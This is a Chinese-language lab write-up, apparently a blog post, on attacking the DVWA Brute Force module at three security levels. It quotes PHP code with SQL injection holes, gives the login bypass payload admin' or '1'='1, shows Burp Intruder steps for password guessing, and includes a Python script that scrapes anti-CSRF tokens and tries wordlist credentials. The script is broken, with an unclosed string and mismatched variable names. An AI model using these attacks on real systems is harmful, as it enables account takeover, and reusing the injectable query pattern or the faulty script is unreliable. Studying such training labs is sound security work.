【WEB安全】DVWA Brute Force 暴力破解
LOW级别
源码:
// isset 检查变量是否已经存在于括号内的数据中 $_GET是获得 传输的时候的表单的值
//GET /DVWA/vulnerabilities/brute/?username=admin&password=password&Login=Login HTTP/1.1
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass ); //使用md5加密,可以解出来
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; // 查库
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 使用数据库连接配置
if( $result && mysqli_num_rows( $result ) == 1 ) { //关注是否得到的值是否不为空就返回结果
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
方法:
用户名处可以直接注入sql的语句:
admin' or '1'='1
or表示只要有一个为真就可以,这里将查询语句使用 ' 直接截断了查询
sql注入之后的数据库查询语句:
SELECT * FROM
users WHERE user = 'admin' or '1' = '1' AND password = ''
这样获得的查询就是我只要用户名为真或者('1'='1')and(password = ''),前边一定是真的,那么这样不输入密码也就无所谓了,因此直接绕过了密码检查,可以直接登录
MEDIUM级别
源码:
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 相比于low级别,多了这个代码,这个函数是针对一些字符进行转义
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
分析:
相对于low级别多了转义的函数,也就是将输入的字符先进行一步处理,减少注入的可能
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- \x00
- \n
- \r
- \
- '
- "
- \x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
方法:
使用软件进行 burp 做个代理,也就是让浏览器出去的流量都先经过代理软件,之后再向外发,这样也就算进行了流量的劫持,可以用来进行分析
浏览器代理设置:
设置-代理-手动代理配置-HTTP代理:127.0.0.1 端口:8080
HTTPS Proxy:127.0.0.1 端口:8080
Burp设置:
Proxy-Intercept-Intercept is on 打开
处理完之后可以直接使用浏览器了,填写一个账号密码就可以捕捉了,选择login的时候可以捕捉到以下信息
GET /DVWA/vulnerabilities/brute/?username=admin&password=&Login=Login HTTP/1.1
Host: 192.168.230.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.230.135/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=medium; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48
Connection: close
账号密码已经出现在数据里,接下来将进行Action-Send to Intruder-Positions,进行变量分析
Intruder在原始请求数据的基础上,通过修改各种请求参数,以获取不同的请求应答。每一次请求中,Intruder通常会携带一个或多个有效攻击载荷(Payload),在不同的位置进行攻击重放,通过应答数据的比对分析来获得需要的特征数据。
他会自动的进行变量的寻找,在这里我们只要设置有用的就行,Clear §,将需要的部分也就是password部分进行 Add §
GET /DVWA/vulnerabilities/brute/?username=admin&password=§1212§&Login=Login HTTP/1.1
Host: 192.168.230.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.230.135/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=medium; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48
Connection: close
之后就可以在Payloads-Payload Options [Simple list]里边进行设置密码了,这里是以列表的形式进行Add,就是可以加上各种可能的密码,之后让其逐一发包尝试,因为返回结果上应该会存在不同,因此可以直接关注返回结果的长度情况判断哪个是密码。设置完了之后直接点击 Start attack进行尝试
最长的那个不同,因此就是密码了,是password
这个可以也用密码本进行处理,需要调的就是上边的Payload Sets-Payload type:Runtime file
下边选择,文件就可以了
HIGH级别
源码:
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //这里增加了一个token,用来验证当下的浏览器是否是已经验证的浏览器,一般都是打开网站的时候直接分发一个token,之后登录的时候需要使用这个token进行以及登录
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
分析:
查看token,先用burp进行抓取一下:
GET /DVWA/vulnerabilities/brute/?username=admin&password=&Login=Login&user_token=97cb40329edd0d851ce853db5f0769f8 HTTP/1.1
Host: 192.168.230.135
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.230.135/DVWA/vulnerabilities/brute/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: security=high; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48
Connection: close
标注处就是token,之后需要先获取一下这个token之后使用medium进行爆破就可以了,获取token可以写个脚本处理,这里写一下token的获取函数吧
from bs4 import BeautifulSoup
import requests
header={
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36', # 抓到的包中的
'Cookie': 'security=high; PHPSESSID=jis9fl3d01k33fqjbpqdrlco48' # 同上
}
def get_token(url,headers):
r = requests.get(url,headers=header) # 发送一个请求
html = r.content.decode() # 解码得到的内容
soup = BeautifulSoup(html,"html.parser) # 使用BeautifulSoup进行分解
user_token = Soup.find_all('input')[3]["value"] # 找到解析到的界面的token的位置,这个需要从界面的html中分析一下,看看具体是那个位置
return user_token
i=8
for admin in open("user.txt"):
for line in open("password.txt"):
u_token = get_token(url,header) # 获取token
username = admin.strip() # 读用户名
password = line.strip() # 读密码
paload = {'username':username,'password':password,'Login':'Login','user_token':u_token} # 数据拼接
i = i+1
response = requests.get(url,params=payload,headers=header) # 再进行网页的内容的传输
print(i,username,password,len(response.contect.decode()))
user_token = get_token(url,header)
这样就相当于直接使用python进行试错
这个token可以直接从网页上搞也可以,直接f12分析
致谢:
本文基于此视频进行的实验总结,如果不清楚请参考视频https://www.bilibili.com/video/BV1HK411j7Me